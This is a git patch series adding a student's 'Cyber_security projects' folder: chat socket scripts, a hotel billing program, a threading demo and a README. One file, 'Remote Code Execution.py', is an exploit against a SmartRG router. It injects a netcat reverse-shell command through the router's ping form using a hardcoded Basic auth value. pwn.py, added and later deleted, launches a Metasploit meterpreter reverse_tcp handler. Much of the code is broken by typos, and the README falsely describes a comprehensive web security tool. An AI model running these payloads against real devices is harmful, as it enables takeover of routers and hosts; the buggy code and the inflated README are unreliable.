From 9da121ba40b5da0b9c2a9f085d7daa4f1ca32c79 Mon Sep 17 00:00:00 2001 From: sath000007 <101625652+cicada0007@users.noreply.github.com> Date: Wed, 21 Jun 2023 20:46:20 +0530 Subject: [PATCH 1/3] sathwik added It is the useful cybersecurity project --- Cyber_security projects/CLIENT.py | 32 +++++ .../Remote Code Execution.py | 45 +++++++ Cyber_security projects/SERVER.py | 28 +++++ Cyber_security projects/hotelbill.py | 118 ++++++++++++++++++ Cyber_security projects/pwn.py | 24 ++++ Cyber_security projects/threading.py | 18 +++ 6 files changed, 265 insertions(+) create mode 100644 Cyber_security projects/CLIENT.py create mode 100644 Cyber_security projects/Remote Code Execution.py create mode 100644 Cyber_security projects/SERVER.py create mode 100644 Cyber_security projects/hotelbill.py create mode 100644 Cyber_security projects/pwn.py create mode 100644 Cyber_security projects/threading.py diff --git a/Cyber_security projects/CLIENT.py b/Cyber_security projects/CLIENT.py new file mode 100644 index 00000000..def4a71e --- /dev/null +++ b/Cyber_security projects/CLIENT.py @@ -0,0 +1,32 @@ +#!/usr/bin/python3 + +import socket +import threading + + +def send_msg(): + while True: + + msg =input().encode() + s.send(msg) + +def recv_msg(): + while True: + recevied = s.recv(1024) + print(recevied.decode()) + + +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) +print("connecting..") +while True: + try: + s.connect("127.0.0.1",8888) + break + except CoonectionRefusedError: + continue + +print("connected....") + +t1 = threading.Thread(target=send_msg) +t1.start() +recv_msg() diff --git a/Cyber_security projects/Remote Code Execution.py b/Cyber_security projects/Remote Code Execution.py new file mode 100644 index 00000000..ff5b5388 --- /dev/null +++ b/Cyber_security projects/Remote Code Execution.py @@ -0,0 +1,45 @@ +# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution) +# done by Sathwik.R - www.github.com/cicada0007 + +import requests +from subprocess import Popen, PIPE + +router_host =3D "http://192.168.1.1" +authorization_header =3D "YWRtaW46QWRtMW5ATDFtMyM=3D" + +lhost =3D "lo" +lport =3D 80 + +payload_port =3D 81 + + +def main(): + e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm= +p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE) + Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout) + send_payload(f"|nc {lhost} {payload_port}|sh") + print("done.. check shell") + + +def get_session(): + url =3D router_host + "/admin/ping.html" + headers =3D {"Authorization": "Basic {}".format(authorization_header)} + r =3D requests.get(url, headers=3Dheaders).text + i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D") + s =3D "" + while r[i] !=3D "'": + s =3D s + r[i] + i =3D i + 1 + return s + + +def send_payload(payload): + print(payload) + url =3D router_host + "/admin/pingHost.cmd" + headers =3D {"Authorization": "Basic {}".format(authorization_header)} + params =3D {"action": "add", "targetHostAddress": payload, "sessionKey"= +: get_session()} + requests.get(url, headers=3Dheaders, params=3Dparams).text + + +main() \ No newline at end of file diff --git a/Cyber_security projects/SERVER.py b/Cyber_security projects/SERVER.py new file mode 100644 index 00000000..42bf4bbb --- /dev/null +++ b/Cyber_security projects/SERVER.py @@ -0,0 +1,28 @@ +#!/usr/bin/python3 + +import socket +import threading + +def send_msg(): + while True: + msg = input().encode() + client.send(msg) + +def recv_msg(): + while True: + recived = client.recv(1024) + print(recived.decode()) + + +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) +s.bind("127.0.0.1",8888) +print("Listeniing......") +s.listen(1) +client.addr = s.accept() +print() +print("connected.....") + +t1 = threading.Thread(target=send_msg) +t1.start() +recv_msg() \ No newline at end of file diff --git a/Cyber_security projects/hotelbill.py b/Cyber_security projects/hotelbill.py new file mode 100644 index 00000000..9bd1fe32 --- /dev/null +++ b/Cyber_security projects/hotelbill.py @@ -0,0 +1,118 @@ + +#this is my python lab mini project +#-------------------------SATHWIK.R +#-------------------------SHRADDESH +#-------------------------SIDDANTH + + + + +#createing the menu + +menu={ + "pizza":{ + "small":{ + "cost": 100, + "quantity":0 + }, + "medium":{ + "cost": 200, + "quantity":0 + }, + "large":{ + "cost": 300, + "quantity":0 + + } + }, + "burger":{ + "small":{ + "cost":100, + "quantity":0 + }, + "medium":{ + "cost":100, + "quantity":0 + }, + "large":{ + "cost":100, + "quantity":0 + } + + }, + "coke":{ + "small":{ + "cost":100, + "quantity":0 + }, + "medium":{ + "cost":200, + "quantity":0 + + }, + "large":{ + "cost":300, + "quantity":0 + } + + }, + "Chicken":{ + "small":{ + "cost":100, + "quantity":0 + }, + "medium":{ + "cost":200, + "quantity":0 + }, + "large":{ + "cost":300, + "quantity":0 + } + } + + +} + + + +#bill the following + + +def bill(menu): + total_bill=0 + for item in menu: + for size in menu[item]: + total_bill += menu[item][size]["cost"] * menu[item][size]["quantity"] + return total_bill + + +#order of the entire program + +def order(menu): + while(1): + print("OUR MENU\n1.pizza\n2.burger\n3.coke\n4.chicken\n\n\n") + item =input("\nENTER THE ITEM YOU NEED TO ORDER\n") + + if item not in menu: + + print("WE ARE SORRY!!!!!\nTHE ITEM IS NOT AVILABLE IN OUR HOTEL") + continue + print("THE SIZE AVILABLE ARE \n1.small\n2.medium\n3.large\n\n") + size = input("\nENTER THE SIZE OF THE ITEM\n") + if size not in menu[item]: + print("WE ARE SORRY!!!!\nWE DONT WHAVE THAT SIZE ") + continue + quantity=int(input("\nENTER THE QUNTITY\n")) + menu[item][size]["quantity"] += quantity + print("YOUR ORDER HAS BEEN PLACED ") + print("YOUR BILL IS",bill(menu)) + + print("\nTHANK YOU FOR OUR ORDER \n VISIT AGAIN :)") + print("DO YOU WANT TO ORDER MORE?? (Y/N) ") + choice = input() + if choice == "N": + break + + +order(menu) diff --git a/Cyber_security projects/pwn.py b/Cyber_security projects/pwn.py new file mode 100644 index 00000000..7cb3941d --- /dev/null +++ b/Cyber_security projects/pwn.py @@ -0,0 +1,24 @@ +from pwn import * +#io = process(['nmap','127.1.3.3']) +#output = io.recvall() +#print(output.decode()) + + +io = process(["msfconsole","-q"],stdin=PTY) +io.recvuntil(b">") +io.sendline(b"use exploit/multi/handler") +io.sendline(b"set payload windows/x64/meterpreter/reverce_tcp") +io.sendline(b"set lport 4444") +io.sendline(b"set lhost 123.4.4.3") +io.interactive() + + + + + + +s1 =ssh(host="127.5.3.3",user="sath",password="yusad") +p1 = s1.shell("sh") +p1.interactive() + + diff --git a/Cyber_security projects/threading.py b/Cyber_security projects/threading.py new file mode 100644 index 00000000..6cd9a0d4 --- /dev/null +++ b/Cyber_security projects/threading.py @@ -0,0 +1,18 @@ +#made by Sathwik R - www.github.com/cicada0007 + +#1/usr/bin/python3 + +import threadinng + + +def loop1(): + while True: + print("loop1") + +def loop2(): + while True: + prinnt("loop2") + +t1 =threading.Threading(targrt=loop1) +t1.start() +loop2() From c955b758e3c4831482b38eaff889ca5e91d7e67b Mon Sep 17 00:00:00 2001 From: sath000007 <101625652+cicada0007@users.noreply.github.com> Date: Wed, 21 Jun 2023 23:09:22 +0530 Subject: [PATCH 2/3] Delete pwn.py it was error --- Cyber_security projects/pwn.py | 24 ------------------------ 1 file changed, 24 deletions(-) delete mode 100644 Cyber_security projects/pwn.py diff --git a/Cyber_security projects/pwn.py b/Cyber_security projects/pwn.py deleted file mode 100644 index 7cb3941d..00000000 --- a/Cyber_security projects/pwn.py +++ /dev/null @@ -1,24 +0,0 @@ -from pwn import * -#io = process(['nmap','127.1.3.3']) -#output = io.recvall() -#print(output.decode()) - - -io = process(["msfconsole","-q"],stdin=PTY) -io.recvuntil(b">") -io.sendline(b"use exploit/multi/handler") -io.sendline(b"set payload windows/x64/meterpreter/reverce_tcp") -io.sendline(b"set lport 4444") -io.sendline(b"set lhost 123.4.4.3") -io.interactive() - - - - - - -s1 =ssh(host="127.5.3.3",user="sath",password="yusad") -p1 = s1.shell("sh") -p1.interactive() - - From 32336cac2add8c0abb8594d0ffeef32e751409b3 Mon Sep 17 00:00:00 2001 From: sath000007 <101625652+cicada0007@users.noreply.github.com> Date: Tue, 27 Jun 2023 17:44:03 +0530 Subject: [PATCH 3/3] Create README.md --- Cyber_security projects/README.md | 34 ++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 Cyber_security projects/README.md diff --git a/Cyber_security projects/README.md b/Cyber_security projects/README.md new file mode 100644 index 00000000..73d35858 --- /dev/null +++ b/Cyber_security projects/README.md @@ -0,0 +1,34 @@ +## Project Title +Cyber_security Projects + + +## Project Description +The Project is a comprehensive cybersecurity tool designed to enhance the security of web applications and protect them from various threats. It provides a range of robust features and functionalities to identify vulnerabilities, perform penetration testing, and strengthen the overall security posture of web applications. + +## Table of Contents +* Visit the official Python website: Go to the Python website at https://www.python.org/. + +* Download the installer: On the Python website, navigate to the Downloads section. You'll find the latest stable version of Python available for download. Choose the appropriate installer for your operating system. Python is available for Windows, macOS, and various Linux distributions. + +* Run the installer: Once the installer is downloaded, run the executable file to start the installation process. + +* Customize the installation (optional): During the installation, you may have the option to customize the installation settings. You can choose the installation directory, add Python to the system's PATH (recommended), and select optional features. + +* Start the installation: Proceed with the installation by following the prompts. The installer will extract and install Python on your system. + +* Verify the installation: After the installation is complete, open a command prompt or terminal window and enter the following command: + +``` +python --version +``` + + + +## Usage +``` +python +``` + +## Contributing +Sathwik R - https://github.com/cicada0007 +